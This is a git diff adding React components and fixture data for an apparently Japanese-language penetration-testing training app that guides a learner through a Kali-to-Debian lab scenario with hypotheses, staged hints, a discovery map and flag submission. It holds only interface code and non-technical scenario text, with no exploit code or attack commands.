+        onClose={() => setActiveDisclosure(null)}
+      >
+        {activeDisclosure === "pairing" ? (
+          <SessionPairingPanel
+            pending={pairingPending}
+            error={pairingError}
+            onPair={onPairSession}
+          />
+        ) : null}
+
+        {activeDisclosure === "facts" ? (
+          <KnownFacts
+            facts={projection.facts}
+            title="分かっていること"
+            projection={projection}
+            detailed
+            experience={experience}
+            showHeading={false}
+            showContextCards={false}
+          />
+        ) : null}
+
+        {activeDisclosure === "investigations" ? (
+          <aside className="investigation-rail" aria-label="いま選べる調査">
+            <p className="rail-intro">次に取り組む調査を選びましょう。</p>
+
+            <div className="investigation-list">
+              {projection.investigations.slice(0, 3).map((investigation) => (
+                <button
+                  type="button"
+                  className="investigation-option"
+                  key={investigation.id}
+                  onClick={() =>
+                    openConsultation(investigation.hypothesisId)
+                  }
+                >
+                  <AppIcon name={investigation.icon} stroke={1.6} />
+                  <span>
+                    <strong>{investigation.label}</strong>
+                    <small>{investigation.summary}</small>
+                  </span>
+                  <IconChevronRight aria-hidden="true" />
+                </button>
+              ))}
+            </div>
+
+            <button
+              type="button"
+              className="outline-action"
+              onClick={() => openConsultation()}
+            >
+              <IconBulb aria-hidden="true" />
+              ヒントを見る
+            </button>
+
+            {projection.capabilities.manualFlagSubmission &&
+            (connectionStatus === "unavailable" ||
+              projection.status === "complete") ? (
+              <ManualFlagForm
+                pending={pendingAction === "flag"}
+                onSubmit={onSubmitFlag}
+                mode={
+                  projection.status === "complete" ? "bonus" : "fallback"
+                }
+              />
+            ) : null}
+
+            <p className="safety-note">
+              <AppIcon name="server" stroke={1.7} />
+              これは学習環境です。許可された対象に対してのみ調査を行ってください。
+            </p>
+          </aside>
+        ) : null}
+
+        {activeDisclosure === "events" ? (
+          <EventStrip
+            events={projection.recentEvents}
+            connectionStatus={connectionStatus}
+            connectionMessage={projection.telemetry.message}
+            showHeading={false}
+          />
+        ) : null}
+      </DisclosureDrawer>
+    </main>
+  );
+}
diff --git a/apps/lab-guide/src/components/KnownFacts.tsx b/apps/lab-guide/src/components/KnownFacts.tsx
new file mode 100644
index 0000000..596ceb3
--- /dev/null
+++ b/apps/lab-guide/src/components/KnownFacts.tsx
@@ -0,0 +1,138 @@
+import {
+  IconArrowsExchange,
+  IconCheck,
+  IconDeviceDesktop,
+  IconDeviceLaptop,
+  IconListCheck,
+  IconTargetArrow,
+  IconTrendingUp,
+} from "@tabler/icons-react";
+import type { ExperienceMode, Fact, LabProjection } from "../types";
+import { AppIcon } from "./AppIcon";
+
+interface KnownFactsProps {
+  facts: Fact[];
+  title: string;
+  projection?: LabProjection;
+  detailed?: boolean;
+  experience?: ExperienceMode;
+  showHeading?: boolean;
+  showContextCards?: boolean;
+}
+
+export function KnownFacts({
+  facts,
+  title,
+  projection,
+  detailed = false,
+  experience = "live",
+  showHeading = true,
+  showContextCards = true,
+}: KnownFactsProps) {
+  return (
+    <aside className={`known-facts ${detailed ? "known-facts--detailed" : ""}`}>
+      {showHeading ? (
+        <h2 className="rail-heading">
+          <IconListCheck aria-hidden="true" />
+          <span className="rail-heading-label">
+            {title === "分かっていること" ? (
+              <>
+                分かっている<wbr />こと
+              </>
+            ) : (
+              title
+            )}
+          </span>
+        </h2>
+      ) : null}
+
+      {facts.length > 0 ? (
+        <ul className="fact-list">
+          {facts.map((fact) => (
+            <li className="fact-item" key={fact.id}>
+              {detailed ? (
+                <span className="fact-check" aria-label="確認済み">
+                  <IconCheck aria-hidden="true" />
+                </span>
+              ) : null}
+              <span className="fact-icon">
+                <AppIcon name={fact.icon} stroke={1.65} />
+              </span>
+              <span className="fact-copy">
+                <strong>{fact.label}</strong>
+                {detailed && fact.detail ? <small>{fact.detail}</small> : null}
+              </span>
+            </li>
+          ))}
+        </ul>
+      ) : (
+        <div className="facts-empty">
+          <IconTargetArrow aria-hidden="true" />
+          <p>まだ発見はありません。</p>
+          <small>まず有線接続と標的の入口を確認しましょう。</small>
+        </div>
+      )}
+
+      {detailed && projection && showContextCards ? (
+        <>
+          <section className="rail-card objective-card" aria-labelledby="objective-title">
+            <IconTargetArrow aria-hidden="true" />
+            <div>
+              <h3 id="objective-title">現在の目標</h3>
+              <p>{projection.objective}</p>
+            </div>
+          </section>
+
+          {experience === "live" ? (
+            <section
+              className="rail-card progress-card"
+              aria-labelledby="progress-title"
+            >
+              <IconTrendingUp aria-hidden="true" />
+              <div>
+                <h3 id="progress-title">セッションの進み具合</h3>
+                <p>
+                  発見 <strong>{projection.progress.discovered}</strong>
+                  <span aria-hidden="true"> / </span>
+                  <span className="sr-only">件中</span>
+                  {projection.progress.total}
+                </p>
+                <progress
+                  max={projection.progress.total}
+                  value={projection.progress.discovered}
+                  aria-label={`${projection.progress.total}件中${projection.progress.discovered}件を発見`}
+                />
+              </div>
+            </section>
+          ) : (
+            <section
+              className="rail-card progress-card progress-card--browse"
+              aria-labelledby="progress-title"
+            >
+              <IconTrendingUp aria-hidden="true" />
+              <div>
+                <h3 id="progress-title">ライブ時の変化</h3>
+                <p>発見に合わせて事実、経路、次の選択を更新します。</p>
+              </div>
+            </section>
+          )}
+
+          <div className="direct-connection" aria-label="KaliとDebianを有線で直結">
+            <span>
+              <IconDeviceLaptop aria-hidden="true" />
+              <small>Kali（あなた）</small>
+            </span>
+            <span className="connection-mark">
+              <IconArrowsExchange aria-hidden="true" />
+              <small>直結</small>
+            </span>
+            <span>
+              <IconDeviceDesktop aria-hidden="true" />
+              <small>Debian（対象）</small>
+            </span>
+          </div>
+        </>
+      ) : null}
+    </aside>
+  );
+}
diff --git a/apps/lab-guide/src/components/ManualFlagForm.tsx b/apps/lab-guide/src/components/ManualFlagForm.tsx
new file mode 100644
index 0000000..9183d6c
--- /dev/null
+++ b/apps/lab-guide/src/components/ManualFlagForm.tsx
@@ -0,0 +1,71 @@
+import { IconFlag2, IconSend } from "@tabler/icons-react";
+import { useState, type FormEvent } from "react";
+import type { FlagSubmissionResult } from "../types";
+
+interface ManualFlagFormProps {
+  pending: boolean;
+  onSubmit: (flag: string) => Promise<FlagSubmissionResult | undefined>;
+  mode?: "fallback" | "bonus";
+}
+
+export function ManualFlagForm({
+  pending,
+  onSubmit,
+  mode = "fallback",
+}: ManualFlagFormProps) {
+  const [flag, setFlag] = useState("");
+  const [result, setResult] = useState<FlagSubmissionResult | undefined>();
+
+  const handleSubmit = async (event: FormEvent<HTMLFormElement>) => {
+    event.preventDefault();
+    const value = flag.trim();
+    if (!value) return;
+    setResult(undefined);
+    const nextResult = await onSubmit(value);
+    if (!nextResult) return;
+    setResult(nextResult);
+    if (nextResult.accepted) setFlag("");
+  };
+
+  return (
+    <form className="manual-flag-form" onSubmit={handleSubmit}>
+      <div className="manual-flag-heading">
+        <IconFlag2 aria-hidden="true" />
+        <div>
+          <strong>flagを手動で提出</strong>
+          <small>
+            {mode === "bonus"
+              ? "root取得後のWindows追加flagは手動で確認します。"
+              : "自動検出が戻るまでの代替手段です。"}
+          </small>
+        </div>
+      </div>
+      <label htmlFor="manual-flag">
+        {mode === "bonus" ? "Windowsで見つけたflag" : "見つけたflag"}
+      </label>
+      <div className="manual-flag-controls">
+        <input
+          id="manual-flag"
+          name="flag"
+          value={flag}
+          onChange={(event) => setFlag(event.target.value)}
+          aria-invalid={result?.accepted === false}
+          autoComplete="off"
+          spellCheck={false}
+          placeholder="flag全体を入力"
+        />
+        <button type="submit" disabled={pending || !flag.trim()}>
+          <IconSend aria-hidden="true" />
+          {pending ? "送信中" : "提出"}
+        </button>
+      </div>
+      <p
+        className={`manual-flag-result ${result?.accepted ? "is-accepted" : "is-rejected"}`}
+        role="status"
+        aria-live="polite"
+      >
+        {result?.message ?? ""}
+      </p>
+    </form>
+  );
+}
diff --git a/apps/lab-guide/src/components/MapCanvas.tsx b/apps/lab-guide/src/components/MapCanvas.tsx
new file mode 100644
index 0000000..b3437f6
--- /dev/null
+++ b/apps/lab-guide/src/components/MapCanvas.tsx
@@ -0,0 +1,202 @@
+import {
+  Background,
+  Handle,
+  MarkerType,
+  Position,
+  ReactFlow,
+  type Edge,
+  type Node,
+  type NodeProps,
+} from "@xyflow/react";
+import {
+  IconCircleCheck,
+  IconCircleDashed,
+  IconCircleDot,
+} from "@tabler/icons-react";
+import { useMemo } from "react";
+import type { GraphNode, LabProjection } from "../types";
+import { AppIcon } from "./AppIcon";
+
+interface WorldNodeData extends Record<string, unknown> {
+  node: GraphNode;
+  index: number;
+}
+
+type WorldFlowNode = Node<WorldNodeData, "world">;
+
+export const WORLD_POSITIONS: ReadonlyMap<
+  string,
+  { x: number; y: number }
+> = new Map([
+  ["map-01", { x: 0, y: 10 }],
+  ["map-02", { x: 0, y: 155 }],
+  ["map-03", { x: 0, y: 300 }],
+  ["map-04", { x: 205, y: 10 }],
+  ["map-05", { x: 205, y: 155 }],
+  ["map-06", { x: 205, y: 300 }],
+  ["map-07", { x: 410, y: 10 }],
+  ["map-08", { x: 410, y: 155 }],
+  ["map-09", { x: 410, y: 300 }],
+  ["map-10", { x: 615, y: 10 }],
+  ["map-11", { x: 615, y: 155 }],
+  ["map-12", { x: 615, y: 300 }],
+  ["map-13", { x: 820, y: 155 }],
+  ["map-14", { x: 820, y: 340 }],
+]);
+
+function stableHash(value: string) {
+  let hash = 2166136261;
+  for (const character of value) {
+    hash ^= character.codePointAt(0) ?? 0;
+    hash = Math.imul(hash, 16777619);
+  }
+  return hash >>> 0;
+}
+
+export function fallbackPositionFor(nodeId: string) {
+  const worldPosition = WORLD_POSITIONS.get(nodeId);
+  if (worldPosition) return worldPosition;
+
+  const hash = stableHash(nodeId);
+  return {
+    x: 24 + (hash % 4) * 205,
+    y: 25 + (Math.floor(hash / 4) % 4) * 145,
+  };
+}
+
+function WorldNode({ data, selected }: NodeProps<WorldFlowNode>) {
+  const node = data.node;
+  return (
+    <div
+      className={`world-node world-node--${node.state} ${selected ? "is-focused" : ""}`}
+    >
+      <Handle type="target" position={Position.Left} />
+      <span className="world-node-index" aria-hidden="true">
+        {String(data.index + 1).padStart(2, "0")}
+      </span>
+      {node.state !== "undiscovered" ? (
+        <span className="world-node-icon">
+          <AppIcon name={node.icon} stroke={1.7} />
+        </span>
+      ) : null}
+      <span className="world-node-copy">
+        <strong>{node.label}</strong>
+        {node.detail ? <small>{node.detail}</small> : null}
+        {node.progress ? <em>{node.progress}</em> : null}
+      </span>
+      <Handle type="source" position={Position.Right} />
+    </div>
+  );
+}
+
+const nodeTypes = { world: WorldNode };
+
+interface MapCanvasProps {
+  projection: LabProjection;
+  selectedNodeId?: string;
+  onSelectNode: (nodeId: string) => void;
+}
+
+export function MapCanvas({
+  projection,
+  selectedNodeId,
+  onSelectNode,
+}: MapCanvasProps) {
+  const nodes = useMemo<WorldFlowNode[]>(
+    () =>
+      projection.graph.nodes.map((node, index) => ({
+        id: node.id,
+        type: "world",
+        position: node.position ?? fallbackPositionFor(node.id),
+        data: { node, index },
+        selected: selectedNodeId === node.id,
+        selectable: node.state !== "undiscovered",
+        draggable: false,
+        focusable: node.state !== "undiscovered",
+        ariaLabel:
+          node.state === "undiscovered"
+            ? "未発見の地点"
+            : `${node.label}${node.detail ? `、${node.detail}` : ""}`,
+      })),
+    [projection.graph.nodes, selectedNodeId],
+  );
+
+  const edges = useMemo<Edge[]>(
+    () =>
+      projection.graph.edges.map((edge) => ({
+        id: edge.id,
+        source: edge.from,
+        target: edge.to,
+        type: "smoothstep",
+        className: `world-edge world-edge--${edge.state ?? "known"}`,
+        markerEnd: {
+          type: MarkerType.ArrowClosed,
+          width: 16,
+          height: 16,
+        },
+      })),
+    [projection.graph.edges],
+  );
+
+  return (
+    <>
+      <div className="map-canvas" aria-label="探索経路の地図">
+        <ReactFlow
+          nodes={nodes}
+          edges={edges}
+          nodeTypes={nodeTypes}
+          fitView
+          fitViewOptions={{ padding: 0.08, minZoom: 0.45, maxZoom: 1 }}
+          minZoom={0.45}
+          maxZoom={1}
+          nodesConnectable={false}
+          nodesDraggable={false}
+          elementsSelectable
+          panOnDrag={false}
+          zoomOnDoubleClick={false}
+          zoomOnPinch={false}
+          zoomOnScroll={false}
+          preventScrolling={false}
+          proOptions={{ hideAttribution: true }}
+          onNodeClick={(_, node) => {
+            const graphNode = node.data.node;
+            if (graphNode.state !== "undiscovered") onSelectNode(node.id);
+          }}
+        >
+          <Background color="transparent" gap={40} />
+        </ReactFlow>
+      </div>
+
+      <ol className="mobile-map" aria-label="探索経路の地図">
+        {projection.graph.nodes.map((node) => (
+          <li key={node.id}>
+            {node.state === "undiscovered" ? (
+              <div className="mobile-map-node mobile-map-node--undiscovered">
+                <IconCircleDashed aria-hidden="true" />
+                <span>未発見</span>
+              </div>
+            ) : (
+              <button
+                type="button"
+                className={`mobile-map-node mobile-map-node--${node.state}`}
+                aria-pressed={selectedNodeId === node.id}
+                onClick={() => onSelectNode(node.id)}
+              >
+                <AppIcon name={node.icon} stroke={1.7} />
+                <span>
+                  <strong>{node.label}</strong>
+                  {node.detail ? <small>{node.detail}</small> : null}
+                </span>
+                {node.state === "selected" ? (
+                  <IconCircleDot aria-hidden="true" />
+                ) : (
+                  <IconCircleCheck aria-hidden="true" />
+                )}
+              </button>
+            )}
+          </li>
+        ))}
+      </ol>
+    </>
+  );
+}
diff --git a/apps/lab-guide/src/components/SessionPairingPanel.tsx b/apps/lab-guide/src/components/SessionPairingPanel.tsx
new file mode 100644
index 0000000..806b1af
--- /dev/null
+++ b/apps/lab-guide/src/components/SessionPairingPanel.tsx
@@ -0,0 +1,92 @@
+import {
+  IconKey,
+  IconLoader2,
+  IconPlugConnected,
+} from "@tabler/icons-react";
+import { FormEvent, useState } from "react";
+
+interface SessionPairingPanelProps {
+  pending: boolean;
+  error?: string;
+  onPair: (code: string) => Promise<boolean>;
+}
+
+export function SessionPairingPanel({
+  pending,
+  error,
+  onPair,
+}: SessionPairingPanelProps) {
+  const [code, setCode] = useState("");
+
+  const submit = async (event: FormEvent<HTMLFormElement>) => {
+    event.preventDefault();
+    if (await onPair(code)) setCode("");
+  };
+
+  return (
+    <section
+      className="session-pairing"
+      aria-labelledby="session-pairing-title"
+    >
+      <span className="session-pairing-icon" aria-hidden="true">
+        <IconPlugConnected />
+      </span>
+      <div className="session-pairing-copy">
+        <h2 id="session-pairing-title">攻撃を始めるときだけライブ接続</h2>
+        <p>
+          Kali Bridgeに表示された6文字を入力すると、発見に合わせて地図と説明が変わります。
+        </p>
+      </div>
+      <form onSubmit={(event) => void submit(event)} noValidate>
+        <label htmlFor="pairing-code">
+          接続コード
+          <span>英数字6文字</span>
+        </label>
+        <div className="session-pairing-controls">
+          <span className="session-pairing-input">
+            <IconKey aria-hidden="true" />
+            <input
+              id="pairing-code"
+              name="pairing-code"
+              value={code}
+              onChange={(event) =>
+                setCode(
+                  event.currentTarget.value
+                    .toUpperCase()
+                    .replace(/[^A-Z2-9]/g, "")
+                    .slice(0, 6),
+                )
+              }
+              autoComplete="one-time-code"
+              autoCapitalize="characters"
+              spellCheck={false}
+              inputMode="text"
+              minLength={6}
+              maxLength={6}
+              required
+              aria-describedby={error ? "pairing-error" : undefined}
+              aria-invalid={error ? "true" : undefined}
+            />
+          </span>
+          <button
+            type="submit"
+            className="primary-action"
+            disabled={pending || code.length !== 6}
+          >
+            {pending ? (
+              <IconLoader2 className="spin" aria-hidden="true" />
+            ) : (
+              <IconPlugConnected aria-hidden="true" />
+            )}
+            {pending ? "接続中" : "ライブ接続"}
+          </button>
+        </div>
+        {error ? (
+          <p id="pairing-error" className="session-pairing-error" role="alert">
+            {error}
+          </p>
+        ) : null}
+      </form>
+    </section>
+  );
+}
diff --git a/apps/lab-guide/src/components/SituationConsultation.tsx b/apps/lab-guide/src/components/SituationConsultation.tsx
new file mode 100644
index 0000000..e81259c
--- /dev/null
+++ b/apps/lab-guide/src/components/SituationConsultation.tsx
@@ -0,0 +1,412 @@
+import {
+  IconArrowRight,
+  IconBulb,
+  IconChevronDown,
+  IconChevronUp,
+  IconCircle,
+  IconCircleDotFilled,
+  IconCircleNumber1,
+  IconCircleNumber2,
+  IconCircleNumber3,
+  IconInfoCircle,
+  IconListCheck,
+  IconListDetails,
+  IconLock,
+  IconMap2,
+  IconMessageCircleQuestion,
+  IconTargetArrow,
+} from "@tabler/icons-react";
+import { useEffect, useMemo, useRef, useState } from "react";
+import type {
+  ConnectionStatus,
+  FlagSubmissionResult,
+  Hint,
+  LabProjection,
+} from "../types";
+import { ConnectionBanner } from "./ConnectionBanner";
+import {
+  DisclosureDrawer,
+  DisclosurePull,
+} from "./DisclosureDrawer";
+import { EventStrip } from "./EventStrip";
+import { KnownFacts } from "./KnownFacts";
+import { ManualFlagForm } from "./ManualFlagForm";
+
+interface SituationConsultationProps {
+  projection: LabProjection;
+  connectionStatus: ConnectionStatus;
+  pendingAction: string | null;
+  preferredHypothesisId?: string;
+  onRefresh: () => void;
+  onSelectHypothesis: (id: string) => Promise<boolean>;
+  onUnlockHint: (id: string) => Promise<boolean>;
+  onSubmitFlag: (
+    flag: string,
+  ) => Promise<FlagSubmissionResult | undefined>;
+  onBackToMap: () => void;
+}
+
+function stepIcon(step: Hint["step"]) {
+  if (step === 2) return <IconCircleNumber2 aria-hidden="true" />;
+  if (step === 3) return <IconCircleNumber3 aria-hidden="true" />;
+  return <IconCircleNumber1 aria-hidden="true" />;
+}
+
+interface HintRailProps {
+  hints: Hint[];
+  pending: boolean;
+  manualFlagMode: false | "fallback" | "bonus";
+  onUnlock: (id: string) => Promise<boolean>;
+  onSubmitFlag: (
+    flag: string,
+  ) => Promise<FlagSubmissionResult | undefined>;
+  flagPending: boolean;
+  showTitle?: boolean;
+}
+
+function HintRail({
+  hints,
+  pending,
+  manualFlagMode,
+  onUnlock,
+  onSubmitFlag,
+  flagPending,
+  showTitle = true,
+}: HintRailProps) {
+  const firstUnlocked = hints.find((hint) => hint.state === "unlocked")?.id;
+  const [openHintId, setOpenHintId] = useState<string | undefined>(
+    firstUnlocked,
+  );
+
+  const handleHint = async (hint: Hint) => {
+    if (hint.state === "unlocked") {
+      setOpenHintId((current) => (current === hint.id ? undefined : hint.id));
+      return;
+    }
+    const unlocked = await onUnlock(hint.id);
+    if (unlocked) setOpenHintId(hint.id);
+  };
+
+  return (
+    <aside className="hint-rail">
+      {showTitle ? <h2>必要ならヒント</h2> : null}
+      <div className="hint-list">
+        {hints.map((hint) => {
+          const open = hint.state === "unlocked" && openHintId === hint.id;
+          return (
+            <section
+              className={`hint-step hint-step--${hint.state}`}
+              key={hint.id}
+            >
+              <button
+                type="button"
+                aria-expanded={open}
+                aria-controls={`hint-content-${hint.id}`}
+                onClick={() => void handleHint(hint)}
+                disabled={pending || hint.state === "locked"}
+              >
+                {stepIcon(hint.step)}
+                <span>
+                  <strong>{hint.title}</strong>
+                  {hint.state !== "unlocked" && hint.condition ? (
+                    <small>{hint.condition}</small>
+                  ) : null}
+                </span>
+                {hint.state === "locked" ? (
+                  <IconLock aria-hidden="true" />
+                ) : open ? (
+                  <IconChevronUp aria-hidden="true" />
+                ) : (
+                  <IconChevronDown aria-hidden="true" />
+                )}
+              </button>
+              {open ? (
+                <div id={`hint-content-${hint.id}`} className="hint-content">
+                  <p>{hint.body}</p>
+                </div>
+              ) : null}
+            </section>
+          );
+        })}
+      </div>
+      <p className="hint-order-note">
+        <IconInfoCircle aria-hidden="true" />
+        ヒントは上から順に開放されます
+      </p>
+
+      {manualFlagMode ? (
+        <ManualFlagForm
+          pending={flagPending}
+          onSubmit={onSubmitFlag}
+          mode={manualFlagMode}
+        />
+      ) : null}
+    </aside>
+  );
+}
+
+type ConsultationDisclosure = "facts" | "hints" | "events";
+
+export function SituationConsultation({
+  projection,
+  connectionStatus,
+  pendingAction,
+  preferredHypothesisId,
+  onRefresh,
+  onSelectHypothesis,
+  onUnlockHint,
+  onSubmitFlag,
+  onBackToMap,
+}: SituationConsultationProps) {
+  const defaultHypothesisId = useMemo(
+    () =>
+      preferredHypothesisId ??
+      projection.hypotheses.find((hypothesis) => hypothesis.selected)?.id ??
+      projection.hypotheses[0]?.id,
+    [preferredHypothesisId, projection.hypotheses],
+  );
+  const [selectedHypothesisId, setSelectedHypothesisId] = useState(
+    defaultHypothesisId,
+  );
+  const [activeDisclosure, setActiveDisclosure] =
+    useState<ConsultationDisclosure | null>(null);
+  const previousPreferredId = useRef<string | undefined>(undefined);
+
+  useEffect(() => {
+    const availableHypotheses = projection.hypotheses.filter(
+      (hypothesis) => hypothesis.available !== false,
+    );
+    const preferredChanged =
+      previousPreferredId.current !== preferredHypothesisId;
+    previousPreferredId.current = preferredHypothesisId;
+
+    setSelectedHypothesisId((currentSelection) => {
+      if (
+        preferredChanged &&
+        preferredHypothesisId &&
+        availableHypotheses.some(
+          (hypothesis) => hypothesis.id === preferredHypothesisId,
+        )
+      ) {
+        return preferredHypothesisId;
+      }
+      if (
+        currentSelection &&
+        availableHypotheses.some(
+          (hypothesis) => hypothesis.id === currentSelection,
+        )
+      ) {
+        return currentSelection;
+      }
+      return (
+        availableHypotheses.find((hypothesis) => hypothesis.selected)?.id ??
+        availableHypotheses[0]?.id
+      );
+    });
+  }, [
+    preferredHypothesisId,
+    projection.hypotheses,
+    projection.revision,
+  ]);
+
+  const selectedHypothesis =
+    projection.hypotheses.find(
+      (hypothesis) => hypothesis.id === selectedHypothesisId,
+    ) ?? projection.hypotheses[0];
+
+  const commitHypothesis = async () => {
+    if (!selectedHypothesisId) return;
+    await onSelectHypothesis(selectedHypothesisId);
+  };
+
+  const manualFlagMode: false | "fallback" | "bonus" =
+    projection.capabilities.manualFlagSubmission
+      ? projection.status === "complete"
+        ? "bonus"
+        : connectionStatus === "unavailable"
+          ? "fallback"
+          : false
+      : false;
+  const drawerId = "consultation-disclosure-drawer";
+  const drawerTitle =
+    activeDisclosure === "facts"
+      ? "分かっていること"
+      : activeDisclosure === "hints"
+        ? "必要ならヒント"
+        : "最近の発見";
+
+  return (
+    <main className="lab-screen consultation-screen">
+      <section className="consultation-stage">
+        {connectionStatus !== "browse" ? (
+          <ConnectionBanner
+            status={connectionStatus}
+            message={projection.telemetry.message}
+            refreshing={pendingAction === "refresh"}
+            onRefresh={onRefresh}
+          />
+        ) : null}
+        <header className="consultation-intro">
+          <IconMessageCircleQuestion aria-hidden="true" />
+          <div>
+            <h1>次に確かめることを選ぶ</h1>
+            <p>いま分かっている事実から、次の仮説を1つ選びます。</p>
+          </div>
+        </header>
+
+        <section className="stage-context" aria-label="現在の目標">
+          <IconTargetArrow aria-hidden="true" />
+          <div>
+            <small>現在の目標</small>
+            <strong>{projection.objective}</strong>
+          </div>
+        </section>
+
+        <nav className="disclosure-pulls" aria-label="必要な情報を開く">
+          <DisclosurePull
+            label="事実"
+            meta={`${projection.facts.length}件`}
+            icon={<IconListCheck />}
+            controls={drawerId}
+            open={activeDisclosure === "facts"}
+            onClick={() => setActiveDisclosure("facts")}
+          />
+          <DisclosurePull
+            label="ヒント"
+            meta={`${projection.hints.length}段階`}
+            icon={<IconBulb />}
+            controls={drawerId}
+            open={activeDisclosure === "hints"}
+            onClick={() => setActiveDisclosure("hints")}
+          />
+          <DisclosurePull
+            label="最近の発見"
+            meta={`${projection.recentEvents.length}件`}
+            icon={<IconListDetails />}
+            controls={drawerId}
+            open={activeDisclosure === "events"}
+            onClick={() => setActiveDisclosure("events")}
+          />
+        </nav>
+
+        {projection.hypotheses.length > 0 ? (
+          <>
+            <fieldset className="hypothesis-fieldset">
+              <legend>
+                {projection.consultationQuestion}
+              </legend>
+              <div className="hypothesis-options">
+                {projection.hypotheses.slice(0, 3).map((hypothesis) => {
+                  const selected = hypothesis.id === selectedHypothesisId;
+                  return (
+                    <button
+                      type="button"
+                      className={`hypothesis-option ${selected ? "is-selected" : ""}`}
+                      aria-pressed={selected}
+                      disabled={hypothesis.available === false}
+                      key={hypothesis.id}
+                      onClick={() => setSelectedHypothesisId(hypothesis.id)}
+                    >
+                      {selected ? (
+                        <IconCircleDotFilled aria-hidden="true" />
+                      ) : (
+                        <IconCircle aria-hidden="true" />
+                      )}
+                      <span>{hypothesis.label}</span>
+                      <IconArrowRight aria-hidden="true" />
+                    </button>
+                  );
+                })}
+              </div>
+            </fieldset>
+
+            {selectedHypothesis ? (
+              <section
+                className="hypothesis-explanation"
+                aria-labelledby="hypothesis-explanation-title"
+              >
+                <IconBulb aria-hidden="true" />
+                <div>
+                  <h2 id="hypothesis-explanation-title">
+                    この仮説で確かめること
+                  </h2>
+                  <p>{selectedHypothesis.summary}</p>
+                </div>
+              </section>
+            ) : null}
+
+            <div className="consultation-actions">
+              <button
+                type="button"
+                className="primary-action"
+                onClick={() => void commitHypothesis()}
+                disabled={!selectedHypothesisId || pendingAction === "hypothesis"}
+              >
+                <IconArrowRight aria-hidden="true" />
+                {pendingAction === "hypothesis"
+                  ? "記録しています"
+                  : "この仮説で進む"}
+              </button>
+              <button
+                type="button"
+                className="secondary-action"
+                onClick={onBackToMap}
+              >
+                <IconMap2 aria-hidden="true" />
+                地図に戻る
+              </button>
+            </div>
+          </>
+        ) : (
+          <section className="consultation-empty">
+            <IconInfoCircle aria-hidden="true" />
+            <h2>まず接続を確認しましょう</h2>
+            <p>事実が1つ見つかると、ここに選べる仮説が表示されます。</p>
+            <button type="button" className="secondary-action" onClick={onBackToMap}>
+              <IconMap2 aria-hidden="true" />
+              地図に戻る
+            </button>
+          </section>
+        )}
+      </section>
+
+      <DisclosureDrawer
+        id={drawerId}
+        open={activeDisclosure !== null}
+        title={drawerTitle}
+        onClose={() => setActiveDisclosure(null)}
+      >
+        {activeDisclosure === "facts" ? (
+          <KnownFacts
+            facts={projection.facts}
+            title="いま分かっていること"
+            detailed
+            showHeading={false}
+            showContextCards={false}
+          />
+        ) : null}
+
+        {activeDisclosure === "hints" ? (
+          <HintRail
+            hints={projection.hints}
+            pending={pendingAction === "hint"}
+            manualFlagMode={manualFlagMode}
+            onUnlock={onUnlockHint}
+            onSubmitFlag={onSubmitFlag}
+            flagPending={pendingAction === "flag"}
+            showTitle={false}
+          />
+        ) : null}
+
+        {activeDisclosure === "events" ? (
+          <EventStrip
+            events={projection.recentEvents}
+            connectionStatus={connectionStatus}
+            connectionMessage={projection.telemetry.message}
+            showHeading={false}
+          />
+        ) : null}
+      </DisclosureDrawer>
+    </main>
+  );
+}
diff --git a/apps/lab-guide/src/fixtures.ts b/apps/lab-guide/src/fixtures.ts
new file mode 100644
index 0000000..5541e29
--- /dev/null
+++ b/apps/lab-guide/src/fixtures.ts
@@ -0,0 +1,571 @@
+import type {
+  FlagSubmissionResult,
+  LabClient,
+  LabProjection,
+} from "./types";
+
+type FixtureScenario =
+  | "empty"
+  | "live"
+  | "loading"
+  | "reconnecting"
+  | "success"
+  | "transition"
+  | "unavailable";
+
+function copyProjection(projection: LabProjection): LabProjection {
+  return structuredClone(projection);
+}
+
+const liveProjection: LabProjection = {
+  experience: "live",
+  sessionId: "fixture-session",
+  revision: 3,
+  status: "active",
+  heading: "中古バイク店の業務サーバを調べる",
+  lede: "見つけた事実をつなぎ、管理者権限までの道を探します。",
+  objective: "まず1つの入口を確かめる",
+  consultationQuestion:
+    "staff が見つかったことから、次に何を確かめますか？",
+  facts: [
+    {
+      id: "fact-web",
+      label: "Webサイトが見える",
+      detail: "target.local を確認しました。",
+      icon: "globe",
+    },
+    {
+      id: "fact-port",
+      label: "80番の入口が開いている",
+      detail: "Webの入口を確認しました。",
+      icon: "door",
+    },
+    {
+      id: "fact-staff",
+      label: "staff という場所を発見",
+      detail: "共有の可能性があります。",
+      icon: "folder",
+    },
+  ],
+  hypotheses: [
+    {
+      id: "hypothesis-input",
+      label: "スタッフ向け画面の入力を試す",
+      summary: "画面の入力が、相手PCの処理へどう渡るかを観察します。",
+      selected: true,
+      available: true,
+    },
+    {
+      id: "hypothesis-public-files",
+      label: "公開ファイルに別の手掛かりがないか探す",
+      summary: "公開範囲に置かれたファイル名と更新時刻を見比べます。",
+      available: true,
+    },
+    {
+      id: "hypothesis-login",
+      label: "ログイン用の情報が残っていないか調べる",
+      summary: "見つけた情報同士に再利用の関係がないか確かめます。",
+      available: true,
+    },
+  ],
+  investigations: [
+    {
+      id: "investigation-web",
+      label: "Webサイトの裏側を調べる",
+      summary: "在庫サイトの仕組みや、隠れたページを確認します。",
+      icon: "globe",
+      hypothesisId: "hypothesis-input",
+    },
+    {
+      id: "investigation-files",
+      label: "共有されたファイルを確認する",
+      summary: "ファイル置き場にアクセスし、公開範囲を調べます。",
+      icon: "folder",
+      hypothesisId: "hypothesis-public-files",
+    },
+    {
+      id: "investigation-login",
+      label: "ログインできる入口を探す",
+      summary: "見つけた事実から認証の可能性を確かめます。",
+      icon: "user",
+      hypothesisId: "hypothesis-login",
+    },
+  ],
+  graph: {
+    nodes: [
+      {
+        id: "external-entry",
+        label: "外から見える入口",
+        detail: "ポート80（HTTP）",
+        icon: "globe",
+        state: "discovered",
+        position: { x: 20, y: 70 },
+      },
+      {
+        id: "inventory-site",
+        label: "在庫サイト",
+        detail: "バイク在庫の一覧",
+        icon: "browser",
+        state: "selected",
+        progress: "発見 2/4",
+        position: { x: 300, y: 70 },
+      },
+      {
+        id: "unknown-web",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 590, y: 74 },
+      },
+      {
+        id: "service-booking",
+        label: "整備予約",
+        detail: "予約フォーム",
+        icon: "calendar",
+        state: "discovered",
+        progress: "発見 1/3",
+        position: { x: 180, y: 230 },
+      },
+      {
+        id: "unknown-service",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 480, y: 235 },
+      },
+      {
+        id: "file-drop",
+        label: "ファイル置き場",
+        detail: "共有ディレクトリ",
+        icon: "folder",
+        state: "discovered",
